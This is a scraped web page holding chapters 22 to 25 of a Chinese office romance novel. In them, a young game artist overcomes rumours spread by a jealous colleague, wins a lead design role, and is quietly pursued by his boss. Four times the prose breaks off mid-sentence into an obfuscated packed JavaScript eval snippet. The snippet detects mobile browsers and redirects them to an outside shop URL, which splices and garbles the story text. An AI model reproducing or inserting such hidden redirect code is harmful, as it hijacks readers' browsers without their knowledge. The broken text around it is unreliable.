此话一出,不偏不倚地映照出部分人潜藏的心思。 一时间,关于方闻洲为何能破格加入核心项目的猜测,迅速演变成了各种版本的流言。 余明无疑是这股风气的推动者。设计被当众否决的难堪与不甘,尽数转化为了对方闻洲的嫉恨。 他巧妙地利用自己的社交能力,让与他同一阵营的人私底下不断编排方闻洲。 “平时装得那么清高,背地里的道行很深啊。” “就是啊,真看不出来是那种人。” 越来越多的人被谣言带偏,同事们的态度转变很快。以往见面会客气打招呼的人,现在对方闻洲也是视而不见。 午餐时,方闻洲身边空出一片位置,排挤他的人照样排挤,而原本中立的人,在这种微妙的气氛中选择明哲保身,不愿靠近。 赵屿气得午饭都没吃好,把餐盘重重放在方闻洲对面:“你就一点不生气?余明那张嘴都快把你描成黑的了,那些人也跟着起哄,真恶心!” 方闻洲对上赵屿义愤填膺的目光,浅浅笑了笑,“还好。” “他们都在那样说你,你怎么能一点反应都没有?要是我,非得当场跟他撕个明白!”赵屿不可思议。 “跳梁小丑而已,与其浪费时间争辩,不如多画两笔。作品自己会说话。” 少年对自己的身份把握的刚好,他深知自己资历最浅,一举一动都落在别人眼里,因此格外低调。 自项目组计划启动以来,他从来都是项目组里最早到最晚走的一个。 在这期间,方闻洲不仅快速消化了主美给的所有文档,还将项目过往的一些美术设定集都翻出来研究。 起初,项目组里其他几位资深的同事对他或多或少都带着些审视和距离感。流言并非完全没有影响到他们,一个空降核心项目的新人,很难不让人联想到关系户。 他们客气疏离,分配给他的也是一些相对基础的辅助性工作,比如清理线稿或者按照指示调整一些细节。 方闻洲对此毫无怨言,交给他的任务,无论多琐碎,他都完成得一丝不苟,效率极高。 偶尔遇到不理解的地方,他会标记出来,选择在不太打扰别人的时候,虚心向资深原画师们请教。 他的这种勤奋踏实和一点就通的悟性,渐渐软化了一些同事的固有印象。 至少,这不是个眼高手低的草包。 项目组顺利推进了一周后,迎来了首个真正的挑战,要为游戏人气角色谢昭设计一张在千年神木下的七夕限定卡面。 连续几版草图都被主美林姐否决了,会议室里的氛围并不轻松。 “不行,还是太普通。”林姐看着投影屏幕上的设计稿,声音疲惫,“我要的是能让人一眼心动的感觉,不是这种流水线式的商业美感。” 负责这张卡面的资深画师吴姐脸色不太好看,她已经连续加班好几天,此刻忍不住开口:“林姐,构图色彩细节都按照规范做了,其余的设定也完全符合要求...” “但就是没有灵魂!”林姐打断她,语气严厉,“谢昭站在这里,就像一个玩偶。我要的是他的眼神能穿透屏幕,直接击中玩家的心。” 气氛凝重,所有人都知道这张卡面的重要性,它将是本次七夕活动的门面,可现在进度严重滞后。 就在这时,一直安静坐在角落的方闻洲轻轻出声。 “林姐,关于谢昭的神态和构图,我有个想法。” 瞬间,所有人都看了过来,目光各样,惊讶、怀疑,更多的是被打断思路的不耐。 吴姐直接皱起眉:“方闻洲,现在是讨论核心卡面,不是新人提想法的时候。” 林姐却深深看了他一眼:“你说。” 方闻洲走到会议室前方的数位屏前,调出一个空白画布。 “我在想,问题可能不在谢昭本身,而在于我们把他放错了位置。” 他落笔了。 没有精致的线稿和复杂的色彩,只是最简单的灰色线条。寥寥数笔,一个全新的构图跃然屏上。 他完全抛弃了之前中规中矩的平视构图,改用了一个大胆的俯视视角。 “让谢昭躺在神木的枝干上,星光从缝隙中洒落。” 随着他的讲述,画面迅速丰富起来。谢昭不再是僵直地站立,而是慵懒地倚在粗壮的树枝上,一条腿随意垂落,另一条腿曲起。他的衣袖垂落,指尖轻触着飘落的树叶。 “看这里。”方闻洲换了一支细一点的笔刷,在谢昭的脸上轻轻勾勒。 就是这简单的几笔,让所有人都屏住了呼吸。 画中的谢昭微微侧头,眼神向上望来,带着些许迷离和脆弱,睫毛的弧度恰好掩去了部分心思,却让那眼神更加勾人。 他明明是在仰视玩家,却莫名给人一种他在俯视众生的错觉。 脆弱与掌控,迷离与清醒,这些矛盾的特质在他笔下完美融合。 方闻洲的笔没有停。他在谢昭的衣襟处轻轻扫过,让布料呈现被夜风吹拂的细微褶皱,在眼眸中点下高光,让那双眼睛拥有了灵魂。 整个过程不超过十分钟。当方闻洲放下笔时,整个会议室鸦雀无声。 画面上只有一个粗糙的草图,但每个人都从这个简单的稿件中,看到了一个活生生的谢昭。 他不再是纸片人,而是一个有血有肉会呼吸的角色。 吴姐第一个站起来,走到数位屏前仔细端详。她的脸色从质疑到震惊,最后化为难以置信。 她喃喃自语,“我明白了,我们之前太执着于展示他的完美,却忘了让他存在。” 另一位资深角色设计师也忍不住赞叹:“我的天,你是怎么想到的?就这么几笔,情绪全出来了。” 林姐久久地凝视着屏幕,“这就是我要的感觉。方闻洲,从现在开始,这张卡面由你主笔。吴姐,你负责协助和场景细化。” 这个决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791913|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引发起一阵哗然。 让一个新人主笔最重要的SSR卡面,这在公司历史上从未有过。 但这一次,没有人提出异议。 吴姐率先表态:“没问题。闻洲,需要我配合什么尽管说。” 她的态度诚恳,完全是平等交流的语气,再也没有了之前的轻视。 接下来的日子,方闻洲用行动回应了所有的质疑。他几乎住在了公司,反复推翻重来,桌边铺满了寻求灵感的草图。 当完整的卡面呈现在众人眼前时,整个项目组都沸腾了。 画中的谢昭被注入了灵魂,那是一种让人明知是飞蛾扑火,也甘愿沉沦的魅力。 “这张卡面要爆。”不知谁小声说了一句,道出了所有人的心声。 从此,方闻洲在项目组的地位彻底改变。那些曾经的流言蜚语,在这惊艳的作品面前,不攻自破。 方闻洲用实力赢得了项目组所有人的尊重。 曾经疏远他的同事,如今会主动与他探讨设计细节,他俨然成了团队里不可或缺的宝贝。 项目组对于方闻洲的转变其余人都看在眼里,其中最难受的莫过于余明。 他散布的流言不仅没奏效,反而让团队更团结了。现在只要有人私下非议方闻洲,立刻会有项目组的同事当场反驳。 这些老员工在部门里资历深人脉广,谁也不想因为几句闲话得罪他们。渐渐地,关于方闻洲的流言在明面上再也听不到了。 项目进度过半,七夕活动的预热宣传同步进行。方闻洲主笔的那张谢昭卡面作为首波福利,一经发布便在全平台引发了热烈讨论。 “!!我疯了!这是谢昭?这眼神谁受得了啊!” “卧槽卧槽卧槽,制作组出来受封!这卡面不抽不是人!” 紧接着,官方趁热打铁,放出了一段十五秒的CG预告短片。 短片延续了卡面的基调,镜头缓缓下移,穿过摇曳的树叶缝隙,最终定格在谢昭微仰的脸庞和那双映着星光的眼眸上,他指尖轻抚的树叶飘落,化作一行浮现的文字:七夕之约,静候君临。 动态卡面效果、专属剧情片段、限定道具奖励,一系列预热组合拳下来,玩家社区的期待值被彻底拉满,预约数持续暴涨。 数据反馈到公司内部,高层十分满意。主美林姐在全体项目总结会上,特意点名表扬了方闻洲,并将那张引爆社区的谢昭卡面再次投映在大屏幕上。 “这次预热能取得远超预期的市场反响,方闻洲功不可没。这张核心卡面的概念构思都出自他手。” 这番公开肯定,解开了不少项目组外同事心中的疑惑。 由于项目全程高度保密,之前众人只见组内成员对方闻洲态度骤变,却不知具体缘由,难免猜测是否是上层施压捂嘴的结果。 直到此刻,亲眼看到那组震撼的预约数据,再结合屏幕上那张确实堪称惊艳的卡面,所有疑惑都消散了。 现在他们终于知道,少年面对非议为什么从不去辩解。 诋毁者困于方寸之地,而少年,目光所及皆是山海。 23.第 23 章 办公室里,顾延正姿态闲适地坐在沙发上,喝着现磨咖啡。顾行辰却没这份惬意,他把自己埋进宽大的老板椅,眉头紧锁。 电脑屏幕上正是那张引爆玩家社区的谢昭卡面。顾行辰盯着画中那个眼神勾魂摄魄的角色,终于忍不住打破了沉默。 “我还是想不通,”顾行辰转过椅子,面向顾延,“你怎么就那么肯定,方闻洲能凭自己摆平那些破事?你知不知道,前几天余明那帮人传得有多难听?差点想出手帮忙。” 顾延慢条斯理地呷了一口咖啡,“知道。正因为难听,才更不能由我们去管。” “为什么?”顾行辰不解,“难道就任由他们泼脏水?如果我们当时出面干预,不是能更快平息事态,让他少受点委屈?” “你做事从来不动脑子?”顾延实在想不通这个堂弟是怎么平安活到现在的,“上级去强行干预只会适得其反。上头有人的标签一旦被贴上,就算他将来拿出再惊艳的作品,人们都会认定那是资源倾斜的结果,而不是他真正的实力。” “想要让人信服,就得让他们亲眼看见你的实力。我们给他舞台就够了,剩下的,他自己有能力去解决。” 顾行辰不说话了,他不得不承认顾延看得更远。 “况且,”顾延继续道,“你看他现在在组内的地位如何?经过这件事,那些资深员工是真心认可他,还是仅仅因为我们的态度而表面客气?” 顾行辰回想了一下项目组最近的氛围,那些老油条们现在看方闻洲的眼神,确实带着挖到宝的欣喜。 他叹了口气,算是服气了:“好吧,你说得对。让他自己破局,效果确实最好。这小子,是真有东西。” “不过,”顾延话锋一转,眸色沉静,“风波虽已平息,但有些事,不能就这么算了。” 顾行辰立刻坐直了身体:“你想怎么做?” “余明能力尚可,但心术不正,品性有亏。是该敲打下了。” —— 连续数日的加班让方闻洲有点疲惫,还在项目进度终于告一段落,今天可以正常打卡下班。 下班前主美林姐在项目大群里发布了通知。 【各位辛苦啦!项目第一阶段数据远超预期,为庆祝阶段性胜利,公司特安排明天下午在云故餐厅举行团建聚餐。明天上午调休,大家好好休息。下午14:00在餐厅集合。】 【开车的同事可直接前往,其余人公司将在13:30于大楼门口安排接送车辆,需要乘车的同事请准时集合。期待与大家共度愉快时光!】 一收到消息,工位间响起一阵小小的欢呼,气氛顿时轻松起来。 “太好了!总算能睡个懒觉了!”赵屿第一个欢呼出声。 “云故餐厅?公司这次真是下血本了。” 云故餐厅是城里颇负盛名的私房菜馆,餐厅并不对外公开营业,仅接待会员及特定企业的商务宴请。 能前往云故餐厅聚餐加之额外的带薪假期,这份犒赏,让团队大多数人心中都备感满足。 方闻洲回到家中,第一时间走进浴室。温热的水流冲散了积累数日的疲惫,当他擦着半干的头发窝进床上时,才感觉真正从紧张的工作状态中抽离出来。 他拿起平板,点开了那个许久未登录的、属于闻舟的账号。刚一上线,堆积的消息提示便接踵而至。 几乎同时,一个置顶的对话框新弹了条消息出来。 【G:舟舟,最近很忙?】 这种不期而至的巧合让方闻洲有些意外。他低头打字回复。 【闻舟:嗯?怎么这么问。】 【G:看你微博动态很久没更新了,主页也显示近期登录次数寥寥。有点担心你是不是遇到什么事了。】 看到这条回复,方闻洲心头一暖。没想到言故会这么细致的关心自己 【闻舟:让你挂心了,最近确实在忙一个项目,所有精力都扑在上面,实在抽不出空来打理账号。】 【G:原来如此。是很重要的项目吗?看你投入了这么多时间。】 【闻舟:对我来说挺重要的。是一个需要团队协作的项目,和之前自己接稿单打独斗不一样,节奏很快,要求也很高。所以最近几乎与世隔绝。】 【G:听起来挑战不小。虽然忙碌,但也别忘了照顾好自己。】 他体贴地没有追问项目细节,而是将关心落在对方的身体上。这种分寸感,让方闻洲倍感舒适。 【闻舟:谢谢言故!项目刚告一段落,明天正好可以喘口气啦。 】 【G:那就好,趁这个机会好好休息。期待你忙完之后,能有新的作品与我们分享。】 【闻舟:会哒~(开心撒花.jpg)】 看着屏幕上闻舟发来的最后一条消息,那个活泼的小表情跃然眼前。顾延将手机放在书桌上,神态轻松。 高度重合的IP地址,闻舟账号沉寂的时间点与方闻洲现实工作中的项目周期都严丝合缝地对应。 世上绝无如此多的巧合。最初那份朦胧的猜测越来越清晰。 他有百分之七八十的把握,屏幕另一端的闻舟,与公司里那个看似低调乖巧的新人员工方闻洲,就是同一个人。 一种难以言喻的的愉悦在他心底悄然弥漫。 他想到了那个在他面前绞尽脑汁编造借口,慌得像只受惊狐狸的少年,唇角不自觉地勾起一抹笑意。 心情一好,便想起了某个聒噪且不见棺材不落泪的堂弟。 【G:在?】 【星辰:?有事说事,突然找我准没好事。】 【G:关于某个赌约,想提前让你做点准备。】 【星辰:...你什么意思?找到证据了?!】 【G:没什么意思,只是让你提前适应一下新身份。】 【G:不用谢。帮你初步筛选了一下,看看喜欢哪套?或者,三套都买,换着穿?】 他随手甩过去三个精心挑选的网购链接。 顾行辰带着不祥的预感点开第一个链接,页面跳转,是一家高端定制女装店。 商品图是一件极具视觉冲击力的亮片紧身包臀裙,简介还写着夜店派对女王必备。 顾行辰:...草。 他手指颤抖着点开第二个链接,是一件洛丽塔风格的洋装,层层叠叠的蕾丝和蝴蝶结占满整个屏幕。 第三个链接更离谱,居然是一套经典黑白猫耳女仆装,还贴心备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797803|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注赠送发箍和颈饰。 谁要啊!谁要啊!! 顾延你特码的。 顾行辰感觉自己额角的青筋都在跳动,连哥也不叫了。 【星辰:顾延!你在干什么!!!】 【G:帮你挑选战袍。毕竟直播是门视觉艺术,总要给你几套备选,看看哪套更上镜,效果更震撼。】 【星辰:...你是不是有病?!我警告你别高兴得太早!赌约还没定输赢呢!方闻洲又没有亲口承认自己就是闻舟!】 顾延懒得看他垂死挣扎的废话,直接打断。 【G:款式不喜欢?没关系,店铺里还有很多选择,你可以自己逛逛,把心仪的款式链接发我,我帮你参考。】 【星辰:参考你个鬼!老子不穿!!!】 【顾延:顾家人,愿赌服输。还是说,你现在就想提前履行承诺,先学两声狗叫来听听?】 “......” 顾行辰对着手机屏幕,气得差点一口气没上来。他仿佛已经看到自己穿着那些奇装异服,在直播间里被顾延当狗使唤的恐怖未来。 而始作俑者顾延,在发完那些足以让顾行辰心肌梗塞的链接后,心情更加愉悦。 顾延的目光重新落回与闻舟的聊天界面,指尖划过那个带着俏皮表情的结束语。 既然小狐狸打定主意要披着马甲,他自然不会贸然上前掀开对方的伪装。 但现在,既然已经基本确认了这只让他心心念念的小狐狸就在自己的领地之内,有些事情,就不必再如从前那般束手束脚。 —— 方闻洲这一觉睡得格外沉,再睁眼时,竟已过了中午十二点。 言言乖巧地蹲在枕边,见他醒了,凑上来用脑袋蹭他的下巴。 “饿了吧?这就给你弄吃的。”他揉了揉小猫,下床给言言添了粮和水。看着小家伙埋头吃得香甜,他才走进浴室。 一番洗漱后,最后一点睡意也没了。方闻洲快速收拾妥当,拿上钥匙就出了门。 当他提前十几分钟到达公司大楼门口时,已经有不少同事等在那里。 少年挺拔的身姿和出众的样貌,让同事们第一时间就注意到了。 “闻洲,这边!”赵屿远远地就挥手招呼,待他走近,立刻上下打量一番,毫不吝啬地夸赞,“可以啊闻洲!今天这身超帅。” “谢谢。” 方闻洲对赵屿笑了笑,午后的阳光落在他微弯的眼睫上,漾开一片光晕。 不同于上班时规整的着装,他今天穿了件版型宽松的白色圆领卫衣,略显落肩的设计使得领口自然微垂,露出精致的锁骨,为清爽的少年气平添了几分吸引力。 方闻洲的笑容干净明亮,让赵屿这个钢铁直男都不由得晃了下神。 他夸张地捂住胸口,语气悲愤:“靠!闻洲你别对着我这么笑!我这小心脏受不了,老天爷也太不公平了吧,给你开了门还顺带送了全景天窗。” 他的搞怪吐槽顿时引来一阵善意的哄笑,周围几个同事也纷纷加入对话。 与项目初期被孤立时的冷遇相比,如今的境遇已是天壤之别。方闻洲一一礼貌回应,态度温和,与他初入公司时别无二致。 24.第 24 章 大家三三两两地聚在一起闲聊,时间接近一点半,一辆宽敞的旅游大巴缓缓驶来,停靠在路边。 “车来了车来了!”有人喊道。 虽然公司里有车的人不少选择自行前往,但公司还是周到地安排了大辆巴车,确保所有人都能抵达。 就在大家说笑着准备依次登车时,一辆颇为扎眼的红色保时捷由远及近驶来,停在了大巴车侧边。 车门向上扬起,首先迈出来的是穿着一身休闲潮牌的顾行辰,紧随其后,另一侧车门也打开了。 顾延从容不迫地下了车,他今日也穿了件和方闻洲同色系的休闲装,不过不同于少年清爽的气质,穿上休闲装的男人气场也不见半分减弱。 两位老板的同时出现,让原本喧闹的空间骤然安静下来。大家面面相觑,眼神里传递着同样的疑问。 这两位明明有更舒适便捷的私人座驾,为什么偏偏要来和员工们挤大巴? “都愣着干什么?”顾行辰咧嘴一笑,解释:“我和顾哥今天也体验一下集体生活,跟大家一起坐车过去,热闹热闹。” 大巴车的内部空间十分宽敞,容纳在场的所有员工绰绰有余,甚至足够一人独占两个位置。 按照常理,大家本能地想让两位老板先上车选座,但顾行辰爽朗地摆了摆手:“别搞这套虚的,赶紧都上去,随便坐。” 领导发话,众人便不再拘谨,依次登车。 方闻洲快步穿过前半截车厢,走向靠后的位置,选择了一个靠窗的座位,顺势将背包放在了旁边的空位上,准备让随后跟来的赵屿坐在这里。 正打算站起来看看赵屿到哪儿了,一道挺拔的身影便不偏不倚地停在了他旁边的过道上,挡住了他望向车门的视线。 男人微微垂眸,目光落在他身旁的空位上,彬彬有礼的问道:“这里有人吗?” “......” 前边那么多空位,您老非要坐在这里吗? 方闻洲一时语塞。可赵屿毕竟还没上来,空位确实没坐人。在众目睽睽之下,他没有任何合理的理由拒绝一位上司合情合理的座位请求。 “...没有。” 少年不情不愿地回答完,认命地伸手,默默将自己的背包从旁边的座位上拿下来,紧紧抱在怀里。 “谢谢。” 顾延从善如流地道了声谢,理所当然地在他身旁坐了下来。 男人高大的身躯侵占了大部分空间,属于他身上清冽好闻的气息,混合着独属于成熟男性的温热感,将他紧紧包裹。 两个座位之间明明泾渭分明,保持着正常的社交距离,可方闻洲却觉得周遭的空气都变得稀薄粘稠起来,原本宽敞的座位也像是变得拥挤不堪。 少年往窗边缩了缩,目光牢牢锁定在窗外的街景,试图忽略身旁存在感极强的热源。 在顾延坐定的下一秒,顾行辰也溜溜达达地走了过来,一屁股坐在了隔着过道的另一侧座位上。 昨晚被顾延那几条女装链接吓得心如死灰,此刻他倒是提起了几分精神,准备好好观察一下这个能让自家堂哥如此反常的方闻洲,究竟有什么特别之处。 车辆启动。方闻洲始终偏头看着窗外,坚决不与身边人搭腔。而顾延,也如他所愿,目视前方,完全没有要开口说话的意思。 这可把顾行辰给急坏了。他看看自家堂哥那老神在在稳坐钓鱼台的模样,心里暗自着急。 这两人,一个闭口不问,一个绝口不提,还让他怎么试探出个所以然来? 不行,他得做点什么。 顾行辰主动开口:“小方啊,听说这次项目第一阶段的数据特别亮眼,你负责的那部分核心设计,玩家反馈相当热烈啊。” 突然被点名,方闻洲不得不转过头来:“小顾总过奖了,这是团队共同努力的结果。” “别这么谦虚嘛。”顾行辰顺势追问,“当初构思这个方案时,有没有什么特别的灵感来源或者背后的故事?” 就在方闻洲心神被带着走,正思索如何回应这不太好回答的问题时,大巴车为了避让一辆突然变道的轿车,点了一脚急刹。 “吱——!” 突如其来的惯性让整车人都跟着向前倾去。方闻洲毫无防备,身体不受控制地朝前冲去,他下意识地伸手想抓住前面的椅背,却有人比他更快。 一只温暖干燥的手掌迅捷地抵住了他的右侧肩头,力道平稳有力,将他失控的身形稳稳地按回座位。 隔着薄薄的卫衣布料,那掌心的温度清晰地传递过来,带着不容忽视的灼热感。 触碰短暂,在方闻洲稳住的同时,那只手便礼貌地收了回去。 顾延道:“小心。” 方闻洲惊魂未定地侧过头,恰好撞进顾延深沉的眸子里。 他有些不自在地动了动肩膀,视线低垂,声音比平时小声了些:“谢谢顾哥。” “没事吧?” “没事。”方闻洲摇摇头,重新靠回椅背。 顾延的视线在他微微泛红的耳廓上短暂停留,忍住想要触碰的欲望,在方闻洲没有察觉之前就兀自移开。 “嗯,坐稳了。” 这细微的互动尽数落入顾行辰眼中,想要探明的念头再次蠢蠢欲动。他调整了一下坐姿,准备再次开启话题,身边的顾延眼睫微抬,目光轻飘飘地掠了过来,落在顾行辰脸上。 顾行辰只觉得后颈一凉,所有试探的心思都被这一眼堵了回去。他识相地噤声,目光飘向窗外,假装对路边的绿化带产生了浓厚兴趣。 世界彻底清静了。 大约半小时后,大巴车抵达了目的地。 云故餐厅坐落在一片清幽的园林之中,环境雅致。员工们下车后,在服务生的引导下,穿过曲径通幽的庭院,来到了一个预留好的大型包间。 包间内装饰古朴典雅,几张圆桌摆放整齐,最前面留出了一片十分宽敞的空地,临时布置成了一个小型舞台区域。 人员陆续到齐,众人按照事先安排好的席位落座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16802267|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 按照流程,首先是由领导致辞,原本这个环节该由顾行辰负责,不知为什么,最终拿起话筒的却是顾延。 男人立于临时布置的小型舞台中央,灯光在他轮廓分明的侧脸上投下淡淡的光影。他先是惯例性地感谢了全体项目组成员这段时间的辛勤付出,对第一阶段取得的优异成绩表示了肯定。 几句公式化的开场后,他话锋一转,原本温和的气氛随着他语气而凝结。 “借着今天这个机会,有件事,我觉得需要在这里明确一下。” 顾延的目光平淡扫过全场,未曾特意停留。但包间内尚存的细微交谈声,却在这道目光下消散。 “近期,公司内部出现了一些关于个别同事的空穴来风的不实流言。在此我严正声明,公司鼓励良性竞争,但绝不容忍散布不实流言的行为。” “是谁在散布流言,自己心里有数。这是第一次,也是最后一次公开警告,下不为例,若再有类似情况发生,无论涉及到谁,公司都将严肃处理,绝不姑息。” 他没有点名,但在场几乎所有知道内情的人,都不约而同地将目光投向了方闻洲所在的方向。 说完这些,顾延将话筒递给顾行辰,示意接下来的环节由他主持。 顾行辰接过话筒,脸上重新挂起笑容,熟练地开始调动气氛,引导下一轮的敬酒和互动。 包间里紧绷的气氛随着顾行辰的插科打诨,渐渐重新活络起来。 唯有方闻洲将纤长的眼睫低垂下去,在眼下投出一小片阴影。 他微微偏过头,避开了那些或探究或好奇的视线,用一个低首姿态,将自己所有的情绪都小心翼翼地藏了起来。 可那抿紧的唇线还是泄露了丝少年的无措。 他其实...并不觉得委屈。 至少,在事情发生的那几天,他并没有太多时间去感受所谓委屈的情绪。 但人心终究不是铁石。即便是一个积极乐观的人,在漫天谣言下,也不可能全然无动于衷。 方闻洲以为自己早已将那些负面情绪消化殆尽。 可是,为什么... 为什么刚才,当顾延在所有人面前,明确地表示信任和维护,不惜当众敲打始作俑者时,一种酸涩感还是冲上他的鼻尖。 方闻洲放在膝上的手握紧,才勉强压下喉咙间的哽塞。 作为谣言的制造者,余明也不可避免的成为了部分知情同事目光的焦点。 这些视线让余明倍感压力,在座位上勉强支撑了几分钟后,他终于无法忍受,以身体不适为由,仓皇地提前离开了包间。 而曾经跟着余明传过谣言,或是对方闻洲有过疏远和质疑的同事,此刻心中也是各怀心思,坐立难安。 顾延的态度已经非常明确,没有人愿意因为过去的糊涂而得罪这位显然被上层看重的新星,更不愿挑战顾延立下的规矩。 于是,不少人不约而同地盘算,等到自由敬酒开始,定要主动去给方闻洲敬上一杯。 25.第 25 章 随着聚会流程的推进,时间一点点流逝。 那些聚焦在方闻洲身上的视线终于因为新的环节而逐渐散开,顾行辰是个极好的气氛掌控者。在顾延那番掷地有声的警告之后,他便巧妙地用一连串能迅速拉近距离的集体小游戏填充了时间。 这次的游戏奖品丰富,从最新款的电子产品到奢侈品牌配饰,甚至连热门旅游地的双人往返机票都包含在内,引得众人摩拳擦掌,兴致盎然。 前两个热身小游戏听歌识曲和成语接龙进行得顺风顺水,不少同事都拿到了心仪的小礼物,经过前两场游戏,场子也逐渐热了起来。 就在第二轮游戏结束,工作人员重新布置场地的间隙,不知是谁在人群中带头喊了一句:“小顾总,光看着我们玩多没意思,您也来露一手啊!” 这提议立刻得到了许多人的附和。顾行辰本就是爱热闹的性子,闻言非但没推辞,反而一把揽过身旁顾延。 “行啊!不过我还缺个对手,哥,一起?” 起哄声更大了,大家都想看看这位平日里严肃的顾哥参与游戏会是什么模样。 男人淡淡瞥了顾行辰一眼,顾行辰深知顾延的脾性,压低了声音,用只有两人能听清的语调飞快道。 “哥,气氛到这儿了,给大家点惊喜嘛。而且...”他眼神往方闻洲的方向极快地瞟了一下,“游戏挺有意思的。” 顾延的目光在场中巡梭一圈,不知落在了何处,终于点了下头。 “好!顾哥给面子!”顾行辰扬起声音,接过工作人员递来的一个黑色眼罩和一块题板,转身面向众人,“第三个游戏,咱们玩点不一样的。” 他拿起那个黑色眼罩,在指间转了转,“规则很简单,但非常考验默契。两人一组,一人扮演行动者,需要戴上这个眼罩。另一人则是指挥者。” “行动者猜词时,不能说话,不能自己随意做动作。指挥者需要站在他身后,用双手亲自引导他做出与词语相关的动作,让行动者通过被引导做出的肢体动作来猜测词语。” 人群中响起窃窃私语。这个玩法不仅考验默契,更充满了趣味性。 “行动者在感受肢体动作的同时,可以说话提问,但只能问是不是这类是非题。”顾行辰补充道,“每组限时五分钟,猜对词多者胜。” “怎么样,有没有谁想和我们搭档?” 规则大家是听懂了,可当目光落到一旁神色淡然但气场不减的顾延身上时,许多人心里都打起了退堂鼓。 一时间,竟无人主动出声响应,大家都眼观鼻鼻观心,悄悄观察。 顾行辰早就料到会这样,他嘿嘿一笑,转向顾延:“哥,既然大家这么谦让,那咱们就自己点将吧!规矩咱们改改,你和我,各自点一位搭档,怎么样?” 这个提议立刻得到了众人的附和,大家都好奇地看向顾延,想知道两位老板会选谁。 顾行辰眼神一转,很快锁定了个在之前游戏中表现很踊跃的年轻人。 “就你了,赵屿!刚才成语接龙反应挺快,来,跟我一组!” 被点到名的赵屿很是兴奋跑了上来。 现在就差顾延没选了,他站在原地,没有半分犹豫,目光越过大半个包间,直接看向方闻洲的方向。 人的第六感有时候很奇妙,就在顾延出声之前,方闻洲心中便隐约有了预感。自己会被点到。 果不其然,当顾延的视线扫过来,最终落在他身上时,这预感成了真。 男人唇角轻轻一牵,声音比平时柔和了几分。 “方闻洲,来。” 众人神色各异,但因为有顾延先前撑腰的一幕打底,这选择也并未出人预料。 少年并不扭捏,抱着必赢的决心上了台。 顾行辰将那个黑色眼罩递给了顾延,挤眉弄眼:“哥,你们商量一下,谁当行动者?” 顾延接过眼罩,他侧首看向身旁的方闻洲,询问:“第一局,你想先扮演哪个角色?” 方闻洲没有犹豫,语气认真:“我当行动者。” “好。” 顾延捏着那个黑色眼罩的边沿,指腹在眼罩上轻轻摩挲了一下。 少年就站在他触手可及的地方,微仰着脸,目光清澈坦荡,似乎完全没意识到接下来会发生什么。 灯光落在他脸上,映出柔和干净的轮廓。 “准备好了?”顾延问。 “嗯。”方闻洲点头,主动闭上了眼睛。 顾延的视线在他脸上停留了会,然后抬起手臂,将眼罩轻轻覆在方闻洲的眼睛上。黑色的绒布隔绝了光线,也掩去了少年那双过于好看的眸子。 指尖不可避免地触碰到方闻洲额前细软的发丝,以及鬓边温热的皮肤。 只是这样细微的接触,一股细微的战栗便沿着顾延的指尖窜起,像是干渴已久的旅人终于触及雨水。皮肤下涌动着的渴望被这轻微的碰触唤醒,叫嚣着想要更多。 顾延的呼吸滞了半拍,强迫自己维持心率,将眼罩的带子绕过方闻洲的后脑。 这个姿势让他少年虚拢在怀里,鼻尖都能嗅到对方身上独属于年轻人的蓬勃朝气。 “紧吗?” “刚好。”方闻洲回答,眼前彻底的黑暗让他其他的感官变得敏锐。 他能感觉到顾延的手指偶尔擦过他的头发和皮肤,动作轻柔,像是怕弄疼他。 顾延终于将眼罩的搭扣固定好,黑色的眼罩衬得少年的脸更加白皙,唇色嫣红。 少年毫无防备的模样让顾延眸色一深。 好想要将掌心贴上脸颊,用指尖描摹他漂亮的唇形。冲动在顾延平静的表象下汹涌冲撞。 他的手指在身侧蜷缩了一下,又缓缓松开。 不行,现在还不行。 会吓到洲洲的。 所有翻腾的渴望,最终都被他按回心底。 “第一题,准备。”顾延的声音从耳后很近的地方传来。 下一秒,一双手握住了方闻洲的手腕。少年摒除杂念,将全部心神投入到对动作的解读中,满心满眼只有胜利。 顾延的引导清晰,每个动作指令都目的明确,少年的反应也很快,往往顾延刚引导出关键动作,答案便脱口而出。 猜词速度越来越快,两人间的默契引来阵阵惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 